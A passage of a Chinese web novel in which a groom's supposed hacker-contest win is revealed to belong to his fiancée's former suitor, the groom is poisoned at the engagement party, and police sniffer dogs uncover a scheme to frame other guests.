这里还有谁也参加了比赛吗? 等等,那岂不是说……冠军另有其人? 他的脸色一瞬间变得很难看,袖子下的手尴尬又愤恼地攥紧了拳头。 正不知道该说点什么化解尴尬,董震往他这边靠了下,低声说了一句话。 余一鸣的眼睛倏然瞪大,脸色由黑青变得苍白无比。 “麻烦你了。” 董震退后一步说。 余一鸣逼着自己露出笑容,但那笑容,笑的比哭的还难看。 他说了句“好,您先去休息,我稍等带人过来”,董震便带着人,往大堂里面去了。 “他说什么了?”白知芙问余一鸣。 余一鸣张了张唇,心里一万个不想说。 可白知芙一直问,他只能压着烦躁跟她说:“冠军不是我。” 白知芙早已经有这个猜测了,故而也不算太惊讶,只是问:“那冠军是谁?” 余一鸣攥紧了拳头,额头上青筋凸显。 他吐出三个字。 “夏怀征。” 白知芙听到这三个字,才狠狠吃了一惊。 她不知道想到了什么,脸色随即变得煞白。 余一鸣紧盯着她的脸,突然冷笑一声,用仅有他们两人能听到的声音说:“怎么?后悔跟我订婚了?我们还没领证,你现在后悔也还来得及,反正夏怀征还对你有情。” “你别发疯,我没这么想。”白知芙冷冷地说。 她刚才真的没有多出不该有的心思。 她只是想到—— 董震根本不是来找余一鸣的,而是来找夏怀征的; 夏怀征才是冠军的消息一旦公布…… 那么今天,无论是余一鸣还是她,都会成为一个笑话。 对面的余一鸣,却还在为她到底有没有多想发火。 白知芙真心有点累了。 两个人私下谈恋爱的时候,男女之间互相吃醋,这是甜蜜事。 可一旦到了正经场合,不分时候的吃醋,只会让人厌烦。 她忍了忍,说:“余一鸣,我不知道你今天吃什么火药了,我不跟你计较。但我提醒你,今天到场的很多人,都是你们余家平时不好接触到的。你不是冠军已经丢了脸,难道还要当着他们的面跟我吵架吗?” 余一鸣像是被一盆冷水泼了满面,突然清醒过来。 他吸了口气,压下燥意,说:“我们现在怎么办?” 白知芙看他冷静了,这才问他:“刚才董局跟你说什么了?” “他说,让我带夏怀征去见他。” 白知芙听言,整个身子都放松下来。 “董局是个识大体的体面人。” “什么意思?”余一鸣问她。 白知芙又开始觉得累了。 她耐着性子解释:“刚才我们都以为你才是冠军,你也上前道谢了。董局知道,如果这个时候直接揭穿你,会让你下不来台,所以才让你私下把夏怀征叫过去。他在为你打算。” 余一鸣听懂了,满脸的感激。 “董局真是个好人。” 白知芙的嘴角抽了抽。 人家不一定是什么好人,人家只是体面人而已。 “你现在太引人注目了,我去把夏怀征带过去,你尽量吸引大家的注意。” 余一鸣答应了。 他招呼大家,说自己请了一个萨克斯乐队,请大家观看。 乐队的人很快出场,开始吹奏起来。 大家都很捧场地围着乐队观看节目。 白知芙在这时候来到了夏怀征旁边。 “怀征哥。” 夏怀征微微皱眉。 “白小姐以后还是不要这么叫我吧,免得别人误会。” 他声音不小,引得附近的人侧目。 白知芙微微白了脸。 等到那些人转开视线,她这才再次开口:“我知道你心里还怪我,但我当时……是我爸妈不让来看你。” 夏怀征似乎是不太想跟她继续说下去,直接问:“你还有事要说吗?如果只是说这些就不必了。我们夏家都是体面人,今天过来,也只是为了成全自己的体面,而非为了你。” 说完,他转身就要走。 白知芙一时情急,居然伸手拉住他的袖子。 “等等,我有事要说。” 这一动作,又引来不少人侧目。 白知芙意识到了,连忙把手收了回来。 好在,夏怀征停住了脚步,问她什么事。 “是刚才那帮人……他们是华夏网络安全局的。董局告诉我们,这次比赛的冠军,是你。” 夏怀征恰到好处露出一点意外。 “我都退圈两年了,居然还能拿冠军?看来这次参赛的人的水平都不怎么样。” “……”白知芙表情僵了僵。 同时,心里也更烦余一鸣了。 余一鸣就是个废物! 她甚至想不起来当初自己是怎么跟余一鸣看对眼的了。 但正事不能忘。 白知芙轻轻吸了口气,说:“董局找来了这里,所以大家都误以为,冠军是一鸣。但今天是我们的订婚宴,还请你卖我们一个面子……不要把这件事戳破。” 至少今天不要。 只要过了今天,她有能力挽回局面。 她可以对外放一点风声,就说他们觉得亏欠夏怀征,所以让余一鸣把冠军的位置让给夏怀征了。 那时候,夏怀征已经去京都上任,不会知道这边的风言风语。 而夏家人,佛系惯了,也不会来揭穿。 这件事就轻飘飘过去了。 白知芙说了自己的请求。 她泪眼汪汪,烟波却流转出一丝妩媚柔情。 夏怀征只觉得恶心。 他以前竟然对这样的人动了真心。 只是他面上没有什么表情变化,淡淡道:“我只帮你最后一次。” “多谢你了,怀征哥。” 白知芙双眼亮晶晶的。 她就知道夏怀征心里还有她! 他为她付出了那么大的代价,怎么可能说放下就放下呢? 他的冷淡,只是装出来的罢了。 “那我现在安排您跟董局见面?” “随便。” 夏怀征很随意的样子。 白知芙松了一口气的同时,心里还生出了一点后悔。 那个冠军,余一鸣做梦都想要,可冠军到了夏怀征的手里,他却是十分沉得住气,还似乎并不怎么把冠军放在眼里。 这足以说明,夏怀征是有这个本事才敢有那么高的心气的。 只是心里虽然后悔,但她也不至于糊涂地悔婚。 若是又悔婚了,她的名声算是彻底不保了。 余家人虽然没什么本事,却一个个都是敢豁得出去的。 正所谓光脚的不怕穿鞋的,余家人不怕丢脸,她却不能跟他们一样。 正如那句话说的:瓷器不和瓦片斗,以免得不偿失。 就算要跟余一鸣分开,那也是以后的事。 白知芙避开人,悄悄带着夏怀征去见了董震。 董震非常欣赏夏怀征,若非如此,也不会亲自来接人了。 “局里现在非常需要人,今天就要上任,你可有东西要收拾?” 夏怀征说:“不需要,衣服这些,我让家里人寄过去,我现在就跟您走。” 董震本来就喜欢利落的人,当即笑开。 “好,那我们现在就出发。” 一行人很快离开了,白知芙望着他们的背影,沉沉吐了一口郁气。 总算解决这件丢脸的事了。 她回到泳池边,装若无事,跟人一起看起萨克斯乐队表演来。 却在这时候出了变故。 第221章 余一鸣死了 白知芙送走了夏怀征,心里刚松一口气,又突然出现变故。 前头欢欢喜喜拉着好友喝酒听乐队表演的余一鸣,在喝了一口好友递过来的香槟后,竟然身子绷直,而后突然倒地,浑身抽搐,口吐白沫,眼看着就要断气了。 现场顿时乱作一团。 “怎么会这样?” “刚才还好好的……” “是喝多了吗?” “谁喝多了吐白沫的?” “快叫救护车!” “先问问酒店有没有配医护人员。” 白知芙惊愣地呆滞了好几秒才冲过去。 “一鸣!一鸣你能听到我说话吗?” 余太太在旁边哭成了一团。 白家夫妇也眉头紧皱,脸色十分难看。 他们并不觉得余一鸣会有什么大问题,只当他今天喝多了,害的他们白家也跟着出洋相。 却在这时候,白知芙突然颤抖着说:“他、他没气了……” 白季勇夫妇这才瞪圆了眼睛。 “怎么可能……是不是弄错了?” 酒店的人这时候带着懂一点医疗知识的工作人员过来。 “快救救我们儿子啊!”余家夫妇哭着说。 工作人员让人群退开一点,用手去探余一鸣的鼻息,片刻后,他很为难地开口:“人没了……” “不可能!”余太太发疯尖叫:“刚才还在这里唱歌呢!怎么可能就没了!你一定是弄错了!别在这里咒我儿子!” 余先生也不信邪。 自己的儿子,自己知道。 余一鸣的身体虽然有些虚,但也不可能就这么突然就没的了。 他又没有什么隐疾! 他不信邪地自己去探余一鸣的呼吸,几秒后,他手一抖,直接跌坐在地上,满面呆滞。 众人就知道,余一鸣是真的断气了。 就这么突然之间,人死了。 众人哗然。 却有人在这时候提起了夏灼灼。 “夏小姐不是神医吗?她救了杜老先生的命,又治好了她大哥的腿,说不定她有办法!” 这话一出,余家人立刻把夏灼灼当成了救命稻草,求她给余一鸣看看。 白太太甚至要给她跪下。 夏灼灼连忙把人扶住——这要是真跪下了,外面还不知道该怎么传她目中无人。 “我帮他看看,您别这样。” 白太太含着泪点头,总算是站稳了。 夏灼灼来到余一鸣身边。 白知芙给她让出了路。 “夏小姐,你一定要救他!”白知芙说。 至少今天…… 余一鸣绝对不能死在今天! 夏灼灼点点头,蹲下身,给余一鸣把脉。 比起探呼吸,脉象更精准一些。 她按住脉搏,但脉象已经没了。 但她没有直接起身,而是仔细检查了余一鸣其他的地方。 瞳孔、鼻口,以及手指甲。 检查完这些,她没有立刻宣布余一鸣的死讯,而是问白知芙:“他出事之前,有没有哪里不舒服?” 白知芙下意识要摇头,但转瞬想起了一件事,说:“他从订婚礼之前就有点盗汗头晕,但他说自己是中暑了,就要了点中暑药吃。” 夏灼灼点点头,说:“看来是那个时候就已经中毒了。“ 这话一出,全场沸腾。 “中毒?什么毒?怎么中毒的?” “是有人下毒吗?我们会不会也有事?” “他刚才喝酒了,是不是酒里有问题?” 一时间,所有人都开始担心起自己来。 白季勇也是下意识摸了摸自己的额头。 没出汗。 “我儿子是中毒了?”余太太抓紧核心问:“那他的毒能解吗?” 夏灼灼说:“如果早一点告诉我他不舒服,我应该有办法。但现在太晚了,余太太,您节哀。” 余太太的脸色瞬间变得煞白。 连夏灼灼都说让她节哀了,那她的儿子……是真的没了。 余太太一时无法接受,又哭又笑,还闹着要把余一鸣拽起来。 余先生吩咐手下把余太太带回房间休息。 随后,他沉声问夏灼灼道:“我儿子中的是什么毒?” 夏灼灼摇头。 “这个我不清楚,他的脉象已经买了,我分辨不出来。如果想知道是什么毒,得做尸检才能知道。” “好,我知道了!” 余先生说着,冷声说:“我已经报警了,在场所有人,在事情查清楚之前,都不许离开这里!” 宾客们立即不满起来。 “我们又没下毒,凭什么不让我们走?” “我们也害怕被人下毒,得去医院立刻做检查!” “你没资格不让我们任何人离开。” 余先生不听,直接吩咐服务生,把所有人能出入的门都关闭。 ——这个度假酒店是余家人包下来的,酒店的人自然听他们的安排。 宾客们闹起来,可余先生不管,只等警察到来。 冯太太在这时候悄然来到夏灼灼身边。 “灼灼,这是……?” 夏灼灼对她轻轻摇了下头。 这摇头,意思有两个。 一个是她也不知道是谁下的毒。 第二,则是让她不要太担心,其他人应该都没有中毒。 冯太太点了点头,拉紧了冯淮安,不让他乱跑。 很快警察到了,一起过来的,还有救护车,只是已经用不上。 白家人跟余家人吵了一架。 白季勇不想得罪今天的宾客,今天来的,有孙昭昭、窦斯齐、司慎行这样的贵客。 别说余家,他们白家都得罪不起。 他要求余家尽快放人自由,但余家不肯。 “查不出毒杀我儿子的凶手,谁也不准走!” 白季勇沉了脸。 “这些人里,你们得罪的起谁?一鸣已经死了,但活着的人还得继续活着。你们日子都不过了是吧?” 余家夫妇破罐子破摔,说:“我早看出来你女儿今天情况不对,老是跟我儿子吵架,说不定凶手就是她!” “你们胡言乱语!” “你们心里没鬼,为什么怕我们查?” “我没说不查,只是不能扣人。” “人放走了,还查什么?” 两家大闹一场。 余太太还扯了白太太的头发。 白太太今天打扮的很隆重,被她这么一扯,头发全都乱了。 “疯子!你们家的人都是疯子!” 白太太怒不可遏,却因为自持身份,不能打回去。 还是警察把两边的人拉开了。 宾客们眼睁睁看着两家人打起来,但没心情嘲笑他们,大家都很怕自己也中毒了。 好在警察带了医生,给大家一一检查,都没什么问题,他们这才稍稍松一口气。 警察那边放话,说检查结果要等两个小时。 这已经是很快了。 余一鸣不是外伤死的,不需要解剖,只需要检查血液即可。 “这两个小时里,还请大家配合调查。” 警局的人放话了,大家也就都配合起来。 反正也就两个小时。 他们还以为要留在这里几天呢。 “参加订婚宴的人,全部都在这吗?”警察问。 大家你看看我,我看看你。 很快检查出来,有两个不在。 一个是夏怀征,另一个则是司慎行。 司慎行神出鬼没的,不知道去哪里了。 但警察不敢查他。 白家人和余家人也不敢提司慎行有嫌疑。 因为他跟余一鸣简直是八竿子打不着边。 他今天会过来,也是看在白季勇的面子上,否则余家根本请不动他。 所以没人提出现了一下又消失的司慎行。 至于夏怀征么…… 警察立刻问余家人:“死者跟这个姓夏的有过什么冲突吗?” 余太太眼珠子一转,立刻说:“有!我儿子的未婚妻,之前是夏怀征的未婚妻,他一定是恨我儿子把他的心上人抢走了,所以才对我儿子下毒!凶手一定是他!他的妹妹还是个医生,很容易搞到毒药!” 余太太一改刚才求夏灼灼替她看看儿子的态度,直接质控夏怀征。 因为在她看来,夏怀征和夏灼灼是嫌疑最大的。 就算没有嫌疑,她也要咬死这件事。 因为如果没有一点东西支撑着她,她会崩溃于儿子突然死了的事。 夏灼灼面无表情地开口:“余太太,饭可以乱吃,话却不能乱说。你说我哥哥是凶手,那就请你拿出证据来。要是拿不出证据,那你就是诽谤,我有权告你。” 余太太显然是翻脸不认人的那种人。 她脸色难看地说:“如果你跟你哥没有问题,为什么其他人都在场,唯独他现在突然不见了?还不是因为心虚!” “这话您说反了,真要是做了坏事的人,这会儿哪里敢消失?一旦逃跑,罪名不就落实了吗?下毒的人,只会装作什么都没发生,混迹在人堆里,而不是逃跑。” 说这话的时候,夏灼灼装若无意,往人群里看了一眼。 窦斯齐正闲闲站在那儿。 看她望过来,略显平庸的一张脸上浮现一瞬间的僵硬,但转瞬就恢复了自然。 余太太有点说不过夏灼灼,噎了好一会儿才开口:“总之……你哥哥突然消失,他逃不了嫌疑!” 那警察也对夏灼灼说:“请你先把你哥哥叫回来吧。” 夏灼灼一摊手,说:“抱歉,他回不来。” 警察不由得皱起眉来。 余太太像是抓到了夏灼灼的把柄,指着她的鼻子说:“警官!你看!她心虚了!一定是他们兄妹两个下的毒!证据确凿,你快把他们抓起来呀!” 警察安抚了余太太,而后才耐着性子问夏灼灼:“他做什么去了?为什么回不来?” 第222章 陷害不成 一旁的白知芙,突然心虚起来。 别人不知道夏怀征去哪里了,她却是清清楚楚。 不能让余家人继续咬夏怀征了,否则她只会更丢脸! ——从始至终,余一鸣死了,白知芙没有感到半点悲伤,只是觉得很丢脸。 她上次差点订婚的时候,夏怀征成了残废。 这次订婚当天,余一鸣死了。 传到外面,不知道会怎么说她。 她不想继续丢脸下去了。 “警官,我可以给夏怀征担保,他跟这件事无关。只是因为他有别的事情需要处理,所以提前走了。” 白知芙着急地说。 警官看她一眼。 “你是死者的什么人?” “未婚妻。” “你怎么确定夏怀征跟这件事无关?” “因为他并没有下毒的时间。” “你怎么知道他没有下毒的时间?你一直在盯着他吗?” 警察的理性询问,让白知芙突然噎住。 余太太突然看向她。 “是你!是不是你!是你看到夏怀征的腿突然好了,所以看不上我儿子了,又想回头跟夏怀征在一起了,所以你跟他一起联手害死了我儿子!” 她刚才咬夏灼灼,不是跟夏灼灼有仇,而是她情绪失控,故而逮谁咬谁。 现在也一样。 一旦有一点疑心,她立刻就认为对方是凶手。 “我没有……伯母,你别乱说。”白知芙恨恨地说。 “伯母?”余太太冷笑一声,说:“刚才你都已经给了改口红包了,现在又叫我伯母了?你分明就是又看上了夏怀征,不想嫁到我们家了!” “你疯了。”白知芙说:“您还是回房间休息吧!” “我没疯!是你疯了!你疯了才会做出这种畜生行径!警官,你要为我儿子做主啊!” 余太太哭嚎着,像是在撒泼。 白知芙这样真正高门家庭出身的,没见过这种人,一时红着脸噎在原地。 “这是诽谤!是诬陷!”白太太跳了出来,为女儿撑腰。 两边的人又吵起来。 夹在中间的警员一个头两个大,索性自己派人去查,夏怀征到底去了哪里。 夏灼灼在这时候开口—— “不用查,我知道我哥哥去哪里了。” 所有人都看向她。 白知芙想拦着,但夏灼灼已然开口。 “我哥哥夏怀征,是此次华夏黑客大赛的冠军。” “出事前,华夏网络安全局的董震来了这里,亲自带他去京都上任。” “所以他不是畏罪潜逃,更没有心虚,他是被董局接走的。” 警方跟安全局打的交道也不少,当然知道董震。 他吩咐手下的警员:“去问一下董局,是不是这样。” “不可能!不用问!她在撒谎!”余太太说:“因为冠军是我儿子,不是她哥哥!董局是来恭喜我儿子得冠军的,不是她说的那样!” 白知芙差点被气的昏过去。 不怕神一样的对手,就怕猪一样的队友。 她闭了闭眼,知道自己的面子彻底保不住了,便什么都不想说了。 现场不少宾客都附和余太太的话。 “拿冠军的,的确是余一鸣。” “对,我们都亲眼看到董局跟余一鸣说话了,但他没跟夏怀征说话。” “余一鸣还谢了董局亲自过来颁奖,董局当时没否认。” 警察们听完,看向夏灼灼。 “你在撒谎?” 夏灼灼很平静。 “怎么,警官,您也听一面之词?” 那警察沉默一刻,找人查到了董局的号码。 他开门见山地介绍了自己,而后询问起夏怀征。 董局说:“怀征在我身边,你找他什么事?” 警察愣了愣,问:“您是带他去上任吗?” “是的。” “那没什么事了……打扰您了,再见。” 警察挂断电话,众人从他的脸色也判断出来对方说了什么。 现场一时哗然。 “冠军竟然是夏怀征,而不是余一鸣?“ “那余一鸣装什么大尾巴狼呢?我们都被他误导了!” “夏怀征好气度!当然竟然不揭穿余一鸣。” “夏灼灼没撒谎,余一鸣的确是被董局带走了。怪不得说他回不来。” “也就是余一鸣死了,要是还活着……还不如死了,太丢人了。” 白知芙眼前一黑又一黑。 白、余两家的长辈也是同样。 余先生甚至恨不得给自己的太太一个耳光。 “把她带回房间!不许她再擅自出来!” 余太太又被送回房间去了。 案子继续调查,刑警队派了不少人来。 死了人,是刑事案件,警员都很慎重对待。 每一个人都被单独拉到一边询问。 最后得出来的信息却有限,只知道余一鸣的确不舒服,却以为自己只是中暑,所以吃了两次中暑药。 还得知,余一鸣中途想去休息,被白知芙拦住,继续待客。 夏灼灼也被带去询问。 她一直都没有单独跟余一鸣接触过,这一事有人证,她没有任何嫌疑,很快回到了无边际泳池边。 太阳越升越高了,大家饥肠辘辘,对余、白两家少不了抱怨。 虽然余家死了人——可死的不是自己家的,他们根本不在乎,只想早点回去休息,吃口凉的解暑。 当然,这里也不是不让他们吃喝,只是刚有人中毒身亡,他们自认贵重,哪里会去碰? 反倒是夏灼灼,很平静地接过了侍应生递过来的柠檬水。 她大概猜到背后之人是谁,又抱着什么目的了。 司慎行不见,是夏灼灼让他为自己做事去了。 两个人既然已经在一起,那就没什么谁欠谁的,她已经很坦然接受司慎行对她的好了。 这不知道算不算是一种进步。 她知道,自己的心结已经被一点点解开。 两个小时后,又来了几个刑警队的新面孔。 他们跟队长耳语了几声,队长点点头,朝大家走过来。 “死者身上检测出一种流通于黑市的毒药,这种毒药中含有大量的西布曲明和氟西汀。这两种药物会引发猝死。经过鉴定,死者就是死于这种毒药。” 一时间人心惶惶。 “我们喝的东西里有没有这种东西?” “我们真的没事吗?” 队长道:“各位放心,之前就已经为各位检查过,各位的血检结果都很正常。” 大家这才稍稍安心。 只有余先生迫不及待地问:“那查出来了吗?是谁对我儿子下的毒?” 这正是队长要说的。 “这种毒药有种特殊的气味,我们带了经过训练的警犬过来,还请各位配合警犬的调查。” 很快,三只黑背警犬被拉了出来。 大家被吓了一跳。 “会不会咬人啊?” 队长道:“放心,警犬都很聪明的,不下指令它们不会咬人。现在,还请各位排队过来,让警犬进行嗅闻。” 有人问:“那闻过了,是不是就可以让我们走了?” “是的。” 得到肯定的答案后,宾客们不再拖拖拉拉,纷纷跑过去排队等待检查。 夏灼灼跟冯太太落后几步,排在了队伍的最后面。 “阿行不见了。”冯太太说。 夏灼灼点点头,道:“或许是帮忙查案去了。” 冯太太心中微微跳了下,大概猜到了什么,脸上愈发镇定。 她刚才是担心司慎行也不见了,也会跟夏怀征一样,被莫名怀疑。 但夏灼灼的回答让她知道,他们两个都知道真凶是谁了。 她平静下来,牵着冯淮安随着队伍一点一点往前走。 夏灼灼往队伍前面看了眼,不知是不是凑巧,窦斯齐和孙昭昭站在一起。 他们看似谁跟谁都不认识,夏灼灼每次看过去的时候,发现他们好几次都站在一起。 夏灼灼掩下目光,视线平静地跟冯淮安聊天。 “安安不要怕警犬,过去的时候伸手让它们闻就好了。” 冯淮安问她:“它们跟将军一样听话吗?” 将军是司慎行送给夏灼灼的那只金毛。 夏灼灼如今因为将军,已经不怕狗了。 她还时常抱着将军玩。 只是它长得很快,夏灼灼现在抱它已经很吃力了。 就这样,轮到了窦斯齐和孙昭昭。 两个人都成功过关。 没多久轮到了冯太太和冯淮安。 因为夏灼灼提前安抚过冯淮安,所以他并不怕那几只警犬,也很轻松地通过了。 终于轮到了夏灼灼。 夏灼灼的余光瞥见窦斯齐和孙昭昭都直直地盯着她看。 不比之前,窦斯齐都是有意避开跟她的视线交汇的。 夏灼灼像是没注意到,目光依旧平静,只是步子往前挪动了几步,往那三只警犬去。 三只警犬各个都长得很高大,毛发亮得吓人。 夏灼灼伸出手去。 三只警犬立刻围住了她,在她上下嗅来嗅去。 余先生也紧紧地盯着夏灼灼。 他的太太虽然因为丧子之痛,有点疯了,可他心里也怀疑跟夏家人脱不开关系。 故而他死死盯着夏灼灼和那三只警犬的动静。 其他人也八卦地看过来。 唯独夏灼灼这个当事人,平静的不能再平静。 只见那三只警犬围着夏灼灼闻了一会儿,很快退回了带领它们的警员身边。 “过。下一个!”队长说。 夏灼灼眼中毫无意外,她退开几步,让后面一个人上来。 不远处看着这一幕的孙昭昭,垂在两侧的手紧紧收紧。 怎么会这样!! 为什么夏灼灼能平安通过? 这不可能! 不应该的! 第223章 幕后黑手 夏灼灼顺利通过警犬的嗅闻,这是绝对不可能发生的事情。 孙昭昭的脸色无比难看。 刚才有多期待,这一刻就有多崩溃。 她不理解。 她明明叫了人,在夏灼灼的裙摆上撒上了跟余一鸣身上那种毒药相同的毒药的。 夏灼灼是暗部的神医,拿到这种药轻而易举。 所以她绝对逃不开嫌疑。 她会成为毒害余一鸣的杀人犯。 司慎行哪怕再有权势,也不能保一个众目睽睽被抓起来的杀人犯。 不仅夏灼灼会倒霉,夏家,甚至暗部也会跟着栽跟头,被上头严查。 可是,她却顺利通过了。 这不应该! 她亲眼看到自己的人成功在她身上撒上了毒药的。 可事实就摆在眼前,夏灼灼的确通过了警犬的检查。 警犬的鼻子,不可能出错。 孙昭昭急切地看向窦斯齐,窦斯齐也是眉头微皱,只是表情比她淡定许多。 他朝孙昭昭递过来一个眼神,警告她不要轻举妄动。 计划既然已经失败了,那就只能让它过去,下次还有机会。 这种时候跳出来,反而会让他们惹上一身骚。 只是可恨,他自认每一次的计划都完美无缺,却让夏灼灼接二连三逃过一劫。 事不过三,再有下次,他会更谨慎。 下次,一定会成功。 之前对付夏灼灼,他只是随手的事情。 只是借此彻底毁了夏家。 也瓦解司慎行跟夏灼灼的关系。 现在看到夏灼灼的本事,他彻底起了杀心。 这么厉害的女人,他很欣赏。 但对方既然出自夏家,又跟司慎行走得近,那就绝对不能留了。 他必须得让司慎行全身心站在窦派这边。 不能让他跟夏家再有牵扯。 谁都知道,夏家背后,是党家。 窦斯齐的视线阴沉到能滴水。 恰在此时,夏灼灼扭头朝他看过来。 窦斯齐猝不及防跟他对上视线,慌忙收了眼底的冷意,对着夏灼灼微笑点头。 夏灼灼这次却是没笑。 她眼底的碎芒放射出冰冷的暗色。 窦斯齐的心跳快了一拍。 她为什么这样看他? 难道是他泄露了什么吗? 不应该的。 从始至终,他都只是在背后指点,并没有亲手做任何事。 哪怕再厉害再有经验的警员深查,也查不到他的身上。 除非孙昭昭把他供出来。 但孙昭昭没这个胆子的。 供出他,别说孙昭昭,整个孙家都得死。 可夏灼灼为什么用这种眼神看他? 窦斯齐下意识收回视线,却发现夏灼灼是在透过自己的肩头看孙昭昭。 原来夏灼灼是怀疑孙昭昭。 他长出了一口气。 但下一秒却更恼火。 他窦斯齐没怕过任何人,哪怕是他爸和他爷爷。 可刚才那一瞬,他却对夏灼灼的眼神产生了恐惧。 这个女人,是绝对不能留了! 她对他来说,仅仅只是存在在这世上,就已经是一种耻辱了。 窦斯齐不敢再往夏灼灼那边看,只是盯着那几只警犬的方向。 计划既然已经失败,那就早点结束,早点散场吧。 他要好好回去再谋划一个新的计划。 警犬那边,队长已经让所有在场的宾客都来给警犬闻过了。 每个人都顺利通过了。 却有警员在这时候说:“队长,少了几个人。” 队长皱眉。 队员补充道:“一开始清点人数的时候,除去夏怀征和司先生,一共有五十二位宾客,现在只有四十九位了。” 队长说:“找到人,立刻带过来。” “是。”队员很快去找人了。 “几位,你们虽然是家属,但是按照惯例,也得经受检查。”队长对白、余两家人说。 余先生第一个走过来接受检查。 他很顺利地通过了,警犬对他没什么兴趣。 接下来是白季勇和白太太,两个人也是顺利通过了检查。 然而是白知芙。 她表情看起来有点恹恹的,浑身仿佛都没有力气。 夏灼灼能猜到原因。 今天她丢了这么大的脸,加上余一鸣死了,之后,她会被传出“克夫”的名声。 这名声对她来说是致命的,这意味着以后她很难再嫁高门了。 只是在夏灼灼看来,白知芙要担心的,不该是这些。 她该担心别的的。 “白小姐,请。”队长示意白知芙过去。 白知芙恹恹地点了下头,来到警犬面前。 三只警犬立刻竖起了耳朵,围着她走来走去。 其中一只突然跳起来,两只前爪搭在白知芙的肩膀上,发出“汪汪”的叫声。 白知芙被吓了一跳。 “它怎么扑人……” 队长深深看了眼白知芙,突然下令:“带走!” 白知芙错愕一愣,以为队长是在说把狗带走,却没想到,两个警员上来就按住了她。 “白小姐,麻烦你跟我们走一趟吧。” “你说什么?”白知芙蹙眉:“为什么要带我走!” 白季勇和白太太连忙也走过来。 “陈队,你这是什么意思?” “好好好,为什么带我们家小芙走!” 队长名为陈居远,是个铁面无私的人。 他对人客气,不是因为这些人的身份,而是他们是无辜的。 但白知芙不无辜。 三只狗的反应告诉他,白知芙身上有余一鸣中毒的那种毒药。 他把缘由告诉白季勇,白季勇不信。 “绝对不可能是我女儿!这肯定有什么误会。” 陈居远说:“我的狗,不会闻错。” 又说:“不过您放心,她身上有,也不一定凶手就是她,我们会问清楚,不会冤枉任何一个清白的人。” 说完,他招呼手下:“请白小姐去队里去一趟。” “不是我!我什么都不知道!真的不是我!”白知芙大喊着,她完全不知道发生了什么。 她没有害余一鸣。 真要说害,也只是在余一鸣说不舒服的时候,没有同意他去休息。 可既然已经中了毒,就算她让他去休息又有什么用? 余一鸣的死,与她无关! 白太太死死拽着白知芙。 “你们不能带走我女儿!” 余先生在这时候走上前。 “我刚才就怀疑是她!她今天跟一鸣吵了好几次,她就是个贱人,早年就因为夏怀征是个残废,嫌弃他,不肯嫁给她,所以找上了我们家一鸣。现在看到夏怀征的腿好了,就不想跟我们一鸣在一起了,所以要对她下毒!” 宾客们议论纷纷,看白知芙的眼神无比嫌恶。 “真是个恶毒女人!” “最毒妇人心啊,不想跟人家在一起了,不能悔婚吗?为什么非要杀人!” 白知芙听到了。 她发疯一般的尖叫。 “闭嘴!你们都给我闭嘴!” “我没有杀人!我可以对天发誓,我没有要害他!” “他在今天死了,我的损失也很大,我也会被牵连。” “我就算真的那么恶毒,想要害死他,我也不可能蠢到非要在今天动手!” “我没有杀余一鸣!” 陈居远说:“白小姐,请你冷静一点,事情到底是怎么样,我们会调查。带走您,也不是认定您就是凶手。” 他又对白季勇说了好一会儿话。 陈居远虽然铁面无私,但也要顾及白季勇的面子。 最终还是白季勇点了头。 “带走吧,只是别像带犯人似的。” 陈居远点头。 正要带人走,突然泳池入口处一阵喧闹。 是刚才陈居远派出去找人的几个警员回来了。 他们一人押解着一个青年进来。 “陈队,这几个人鬼鬼祟祟,想从酒店的后山逃走,好在我们的人及时赶到,没让他们跑掉。” 夏灼灼抬眸看向窦斯齐和孙昭昭两人。 窦斯齐的表情没什么变化,但孙昭昭的脸一瞬间就白了。 她淡淡收回视线。 只见陈居远点头,沉声问那几个青年为什么要跑。 其中一个剪着寸头的、看起来年纪最小的,直接就给陈居远跪下了。 “……”陈居远也愣住了。 现在不是旧时代,不兴下跪这一套。 “你快起来,有事说事!”陈居远递给手下一个眼神,手下连忙把人拽起来。 那青年被扶起来,开口就说:“是孙小姐!” 孙昭昭的脸本就煞白,现在更是白的像个鬼。 她的手抖起来,没发现窦斯齐往后微微退了一步,跟她站开了一点距离。 陈居远问:“什么孙小姐?哪位孙小姐。没头没脑的,把事情说清楚!” 那小青年像是很害怕,但还另外几个青年把事情说清楚了。 “他说的是孙昭昭小姐,孙市的独女。她给了我们一笔钱,让我们跟她一起来参加宴会。” “然后,她要我们把一点药粉洒在白小姐的身上。” “我们不知道那个药粉是什么,只知道按照她说的做,我们就有钱拿。” “警官,我们真的什么都不知道,更不知道余少的事。” “你别抓我们,我们是无辜的啊!” 现场一时哗然,所有人的目光都落在了孙昭昭身上。 “没想到是她。” “她毒杀余一鸣,还陷害白知芙,她到底想干什么?!” “她们家跟白家是竞争对手吧?是不是孙市授意她这么做的,目的就是拉白季勇下台,好让孙家独掌大权?” “真是可怕!” 孙昭昭的脸色扭曲起来。 “他们污蔑我!我不认识他们!” 那个年纪最小的青年突然来了勇气,说:“就是你!你找我们的时候,我录了音的!录音就在我手机里!” 第224章 孙家下台 “胡说!你们都给我闭嘴!诬陷我,你们有几条命可以死的?!”孙昭昭近乎尖叫地说。 谁知这话一出,那青年立刻抱住了陈居远的大腿。 “警官,她威胁我!我不想死啊!你要保护我!” 孙昭昭的脸瞬间就绿了。 她一时竟不知道该说些什么。 但突然,她转向了夏灼灼。 夏灼灼也在看她。 不同于她的狰狞,夏灼灼十分平静。 从始至终,她似乎都是这样平静的。 一瞬间,孙昭昭明白了,这一切都是夏灼灼在背后操作的。 这几个的确是她收买的人,可她的要求,是让他们把药粉撒到夏灼灼身上的。 可现在他们虽然出卖了自己,却把她陷害的对象改了。 这无非就是为了让夏灼灼从这次事件中彻底摘出去。 所以,这一定是夏灼灼的手笔! 好阴毒的女人! 孙昭昭却忘了,夏灼灼的确是做了这些,可她只是为了自保。 她不曾主动害过孙昭昭。 一次未来之境,一次现在,两次交锋,都是孙昭昭先对她不善在先,她才反击的。 若称阴毒,孙昭昭自己才是那个阴毒的人。 但孙昭昭的脑子里把夏灼灼当做仇敌,所以认定自己的一切不幸,都源自于她。 那边白季勇开口:“既如此,事情就说清楚了。陈队长,你不会再把我女儿带走了吧?” 外人猜测此事背后的人是孙市,为的是跟白季勇争权。 但白季勇心里很清楚,他们都是窦部长的人,没有什么争不争的。 而此事一出,孙昭昭废了,孙峥跃也算废了。 他的确少一个竞争对手,以后会在窦部长面前更得脸。 所以他也不管孙昭昭会如何,只把自己的女儿撇清。 陈居远最后还是把白知芙带走了——他需要例行询问。 问一些细节。 比如这帮青年是否靠近过白知芙。 白知芙已经被吓坏了,只着急撇清关系,一口承认,那几个青年靠近过她。 